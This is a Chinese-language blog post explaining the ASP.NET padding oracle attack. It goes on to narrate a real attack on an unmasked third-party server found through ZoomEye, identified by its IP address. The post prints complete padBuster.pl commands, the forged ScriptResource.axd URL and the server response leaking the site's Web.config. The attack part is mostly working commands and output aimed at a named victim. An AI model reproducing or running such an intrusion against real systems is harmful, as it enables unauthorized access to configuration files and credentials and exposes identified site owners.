0x00

Padding Oracle Attack 经常在 AWVS 扫描的时候出现,但是作为渣渣的 rr 不会去利用这个漏洞。然而实际上,这个漏洞非常普遍,按照分类来说任意文件读取,但是利用成本略高,导致并不像网上常见的任意文件下载、本地文件包含或者是本地文件读取之类的漏洞一样流行。
漏洞造成的原因有很多写的很好的 paper 可以看,涉及到了密码学方面。下面是一些简单的介绍和利用,我也在此做一个笔记。
参考文章:

虽然看完有些头大,但是略微理解一点。下面是我的一点拙见,如果有错误还请指出。
ASP .NET 可以通过 ScriptManager 来打包输出一些文件,调用的方式类似于:

http://localhost/js.php?file=static/js/common.js

如果放在黑阔眼中,这大概就是一个明显的本地文件读取了。当然,ASP .NET 没有那么白痴,他会稍微加密一下,就像这样(实际上不是):

http://localhost/js.php?file=c3RhdGljL2pzL2NvbW1vbi5qcw

虽然这是一个简单的 base64 编码(就当它是加密好了),但是还是对于利用造成了一些难度。
说到这里还是没涉及到密码学方面的问题,而且密码学也不是咱的强项,我还是直接丢链接好了。

0x02

参考文章:

这里大致讲了一下 Padding Oracle Attack 形成的原因。
比如我们想读取 web.config 这个文件,我们可以通过加密,然后发送给服务端,服务端经过解密后发现这个是 web.config 这个文件,再返回它的内容给我们,我们就可以获取到 web.config 的内容。由于加密算法的缺陷,我们可以成功的伪造一段密文,导致利用成功。
这种攻击方式其实和哈希长度扩展攻击有着异曲同工之妙,具体的方式可以通过阅读上述的 paper 来理解。

0x03

在 ZoomEye 寻找到目标后,咱决定来一次实战攻击,在这里就不打码了。
另外,这个攻击的攻击成本还是挺高的,为了获取到这个文件信息,我大概发送了 10000 多次请求。

目标地址:http://61.157.135.8:81/

拿到目标后我们先查看源代码,发现存在 WebResource.axd 和 ScriptResource.axd 这两个文件。这两个文件是我们攻击所需要的,如果不存在的话Σ(っ °Д °;)っ...rr 也不知道该怎么办..

然后我们来获得想读取的文件的密文。

perl padBuster.pl "http://61.157.135.8:81/WebResource.axd?d=fUTgMrmxXz2EoDlng2fLLQ2&t=633802945995006876" fUTgMrmxXz2EoDlng2fLLQ2 16 -encoding 3 -plaintext "|||~/Web.config"

这里引用上面的链接里的话来解释这段命令的意思:

这里的16为每个数据块的字节数,分为8和16,目前本人还没有什么好的方法判断这个字节数,所以需要大家可以两种都试一下(大多数为 16),encoding参数有4中,分别是:0=Base64,1=Lower HEX,2=Upper HEX,3=.NET UrlToken, 4=WebSafe Base64,由于本次测试为asp.net,所以这里我们选择3,plaintext为想读取内容的文件,本次测试以web.config为例。

经过一段时间的加密之后,我们得到了密文:

这里产生的密文就是加密后的 web.config 和一些填充的字符串组成的,因为此时我们不知道密钥的值,所以我们可以生成出加密后的 web.config 的字符串(这里实在是说的不清楚..总之可以暴力破解得到正确的密文就好了)。利用命令:

perl padBuster.pl http://61.157.135.8:81/ScriptResource.axd\?d=y2qdgVbOtqJik6r5s7vtPwAAAAAAAAAAAAAAAAAAAAA1 y2qdgVbOtqJik6r5s7vtPwAAAAAAAAAAAAAAAAAAAAA1 16 -encoding 3 -bruteforce -log

然后慢慢跑啊跑。

跑了很久之后,突然发现有一个返回的 Content-Length 与众不同,就像人群中闪耀的 P7 一般:

看一下 log 文件,的确是 web.config 的内容:

URL: http://61.157.135.8:81/ScriptResource.axd?d=UwAkAAAAAAAAAAAAAAAAAMtqnYFWzraiYpOq-bO77T8AAAAAAAAAAAAAAAAAAAAA0
Post Data: 
Cookies:

Status: 200
Location: N/A
Content-Length: 47983
Content:
<?xml version="1.0" encoding="utf-8"?>
<!-- 
....

访问地址:http://61.157.135.8:81/ScriptResource.axd?d=UwAkAAAAAAAAAAAAAAAAAMtqnYFWzraiYpOq-bO77T8AAAAAAAAAAAAAAAAAAAAA0
浏览器中同样显示出 web.config 的内容。

至此攻击成功。

0x04

需要注意的一点是,Padding Oracle Attack 不仅仅适用于对于 ASP .NET 的攻击,还适用于采用了 CBC 模式加密方式的各种场景下。
参考文章

如上所述,Padding Oracle Attack 攻击的成立条件为:

  1. 攻击者能够获得密文,以及附带在密文前面的 IV (初始化向量);
  2. 攻击者能够触发密文的解密过程,解密失败和解密成功的结果具有差异性,且能够知道密文解密后的结果。

另外所述工具在 Github 上搜索 padBuster.pl 即可。
心好乱_(:з」∠)_..